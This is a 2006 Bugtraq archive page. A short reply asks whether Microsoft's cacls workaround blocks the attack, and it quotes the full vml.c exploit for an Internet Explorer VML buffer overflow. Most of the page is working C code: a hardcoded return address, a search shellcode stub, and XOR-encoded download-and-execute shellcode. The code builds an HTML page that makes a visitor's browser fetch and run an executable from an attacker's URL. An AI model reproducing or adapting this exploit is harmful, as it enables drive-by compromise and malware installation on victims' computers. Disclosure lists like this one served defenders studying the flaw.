Bugtraq mailing list archives

RE: vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit

From: "Aras \"Russ\" Memisyazici" <arasm () vt edu>
Date: Wed, 20 Sep 2006 16:01:08 -0400
Does the Microsoft suggested workaround, using cacls to remove the
"Everyone" group from the dll thwart this particular exploit?

Aras "Russ" Memisyazici
 
Outreach Information Services
arasm () vt edu
 
Hanlon's Razor /prov./ A corollary of Finagle's Law, similar to Occam's
Razor, that reads "Never attribute to malice that which can be adequately
explained by stupidity."

-----Original Message-----
From: nop [mailto:nop () xsec org] 
Sent: Wednesday, September 20, 2006 2:03 PM
To: bugtraq () securityfocus com
Subject: vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit

/*
*-----------------------------------------------------------------------
*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml <URL> [htmlfile]
* :
* : d:\>vml http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

// Search Shellcode
unsigned char dc[] =
"\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode Start
unsigned char dcstart[] =
"noop";

// Download Exec Shellcode XOR with 0xee
unsigned char sc[] =
"\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";

// Shellcode End
unsigned char dcend[] =
"n00p";

// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
int i=0;
unsigned int ncr = 0;

for(i=0; i<size; i+=2)
{
ncr = (buf[i+1] << 8) + buf[i];

fprintf(fp, "&#%d;", ncr);
}
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
unsigned char burl[255] = {0};
int sc_len = 0;
int psize = 0;
int i = 0;

unsigned int nop = 0x4141;
DWORD jmp = 0xeb06eb06;

if (argc < 2)
{
printf("Windows VML Download Exec Exploit\n");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n";);
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
exit(1);
}

url = argv[1];
if( (!strstr(url, "http://";) && !strstr(url, "ftp://";)) || strlen(url) <
10 || strlen(url) > MAXURL)
{
printf("[-] Invalid url. Must start with 'http://','ftp://&apos; and < %d
bytes.\n", MAXURL);
return;
}

printf("[+] download url:%s\n", url);

if(argc >=3) file = argv[2];

printf("[+] exploit file:%s\n", file);

fp = fopen(file, "w+b");
//fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

for(i=0; i<NOPSIZE; i++)
{
//fprintf(fp, "&#%d;", nop);
fprintf(fp, "A");
}

fflush(fp);

// print shellcode
memset(buf, 0x90, sizeof(buf));
//memset(buf, 0x90, NOPSIZE*2);

memcpy(buf, &ret, 4);
psize = 4+8+0x10;

memcpy(buf+psize, dc, sizeof(dc)-1);
psize += sizeof(dc)-1;

memcpy(buf+psize, dcstart, 4);
psize += 4;

sc_len = sizeof(sc)-1;
memcpy(buf+psize, sc, sc_len);
psize += sc_len;


// print URL
memset(burl, 0, sizeof(burl));
strncpy(burl, url, 60);

for(i=0; i<strlen(url)+1; i++)
{
burl[i] = buf[i] ^ 0xee;
}

memcpy(buf+psize, burl, strlen(url)+1);
psize += strlen(url)+1;

memcpy(buf+psize, dcend, 4);
psize += 4;


// print NCR
convert2ncr(buf, psize);



printf("[+] buff size %d bytes\n", psize);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!\n", file);
}
Attachment: smime.p7s
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Current thread:

vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit nop (Sep 20)
- RE: vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit Aras "Russ" Memisyazici (Sep 20)
  - Re: vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit Ben Hall (Sep 22)